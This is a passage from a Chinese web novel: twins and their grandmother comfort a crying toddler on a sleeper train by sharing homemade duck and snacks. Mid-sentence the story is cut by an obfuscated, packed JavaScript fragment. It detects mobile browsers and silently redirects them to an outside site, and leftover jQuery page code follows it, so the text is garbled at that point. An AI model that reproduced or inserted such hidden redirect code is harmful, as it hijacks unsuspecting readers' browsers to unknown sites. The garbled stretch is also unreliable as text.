动车卧铺包厢里,四个铺位,其中一个铺位是一位老人家带着个三岁小孙子。 老人一直在华市帮儿子儿媳带小孩,现在孙子三岁了,早点带回去适应环境,明年上幼儿园。 小小孩子脸上挂着泪痕,刚刚哭完还一抽一抽的,坐在奶奶腿上,茫然地看着车窗外划过的风景,眼里都没有光了。 文雯拉开行李箱,挑了几盒鸭货和水果放桌上,拿出一只鸭腿,用一次性袋子把鸭腿一端包住,递给他:“小弟弟,吃个鸭腿,别难过了。” 一说“难过”两字,三岁小孩已经能听得懂了,他小嘴撇撇,眼睛里下一秒就蓄满泪水,又想哭了。文雯都不知道怎么好了,慌张的把鸭腿塞进了他嘴里,想着他尝到味道觉得好吃就不哭了。 小男孩在奶奶的安慰下,哭声还未止。 朱文雯也哭,她假装用手臂去擦自己的眼泪,“哇——我也刚刚离开爸爸妈妈,我想他们了,你哭我也想哭了。哇——” 小男孩也许没看过这个岁数还哭的,被她的哭声吓到,于是停下来两眼咕噜咕噜瞧着她。 朱文雯趁小男孩哭声止住了,赶紧把鸭腿塞他嘴里让他咬:“你吃吃看,可好吃了。也许是你吃过最好吃的鸭腿哦,我姐姐做的。” 小男孩就咬了一丝,嘴巴里嚼着感觉味道不错,肉里还能沁出一丝丝甜汁儿来,自己就接着啃鸭腿了。 小男孩奶奶很不好意思,“这么大一只鸭腿,外面买买得好几块钱呢。” 钱一花甩甩手,“自己家做的,做得多,没多少钱。” 小男孩奶奶还是从包里掏出了一包洗好的水果和一盒动物饼干放桌上,她把袋子摊开:“水果都洗好的,你们自己拿。” 刚刚这俩小孩打开行李箱的时候她都看到了,一箱子吃的,不缺她这点,但拿不拿出来也是她的心意。 钱一花给龙凤胎拿了两个黑布林李子,这样双方就都不用不好意思了。 小男孩的嘴巴小,鸭腿都是一丝一丝地啃,嘴里回味,舌头舔着周边一圈。看他吃的津津有味,文雯凑过去问他:“鸭腿好不好吃呀?” “好次。” 文雯拿了一个一次性餐盒,夹了几块豆干藕片,一些毛豆,鸭掌鸭脖子之类,还有凉菜:“好次多次点。这个豆干也特别特别好吃。不,好次。” 朱文超开了一瓶冻柠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13128304|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶,问抱着小男孩的奶奶:“奶奶,弟弟能喝饮料吗?这个饮料是没有添加剂的。” 奶奶连连摆手,“不不不,你们喝,他有白开水。” 小男孩的手已经伸过来了,“能喝。” 众人都笑,瞧他眼巴巴望着那冻柠茶的样子,他奶奶松口,“那就喝一点吧,要谢谢哥哥。”朱文超就给他在一次性纸杯里倒了些冻柠茶,“谢谢哥哥。”小男孩接过去喝了口,舌头天天嘴唇,“好喝。”接着啃鸭腿。 小男孩也不抽泣了,就坐在下铺靠窗的铺位上安静地吃东西。 他吃东西很乖,奶奶把他的专用小筷子给他后,吃东西就不用奶奶操心了,别说夹豆干藕片腐竹没问题,连带了壳的毛豆都能夹起来,嘴巴里拨弄几下,把毛豆壳吐出来。 他奶奶只要时不时看一眼就行。 钱一花和这位奶奶闲聊,“这孩子吃东西倒省心。” “十个月他妈妈就给他买磨牙的奶嘴,里面放火龙果让他自己吃。大点就买那种软的勺子,面条剪碎了让他自己舀着吃。吃的衣服上地上到处都是,我说我来喂,他妈妈一定不让,要锻炼他自己吃。现在看来是有效果的。” “我们家三个孩子也是从小自己吃,还不喜欢喝奶粉米糊,很小一点点就开始吃粥,粥烧到糊糊一样,加个鸡蛋,就喜欢喝那个。“ “这两个是龙凤胎,也是老早就让他们自己吃东西了。”钱一花疼爱地拍拍孙子孙女的后背,“中间一个小方桌,两边一人一个小方凳,就让他们自己坐在那里吃。哥哥爱干净,掉到桌上的要给它归到一起再继续吃。妹妹勺子老要伸他碗里去,要喂他吃,哥哥特别喜欢干净,脸撇开不吃,妹妹嘛非要喂到他嘴巴里去。” 小男孩奶奶就瞧着这两个兄妹怎么关系这么好,以为他们就差个一两岁,没想到,“龙凤胎可是稀奇得很,双胞胎多见,龙凤胎少。” 车窗边,龙凤胎并排坐着,朱文超刚一直在吃毛豆,他伸手去拿鸭腿,文雯把她吃了一半的鸭腿给他:“你吃我这个吧,我吃不下了。” 文超一句话也没有,接过去直接啃。 文雯吃饱了就用奶奶手机开了个动画片,和小男孩一起看动画片。 小男孩专注着吃和看动画片,暂时忘了想爸爸妈妈。或许仍是想的,只是有人陪他转移注意力,减轻了那么百分之十。 同样是离开爸爸妈妈回老家,要好长时间见不到,但文雯毕竟不是自己独自承受,有超超分摊那二分之一。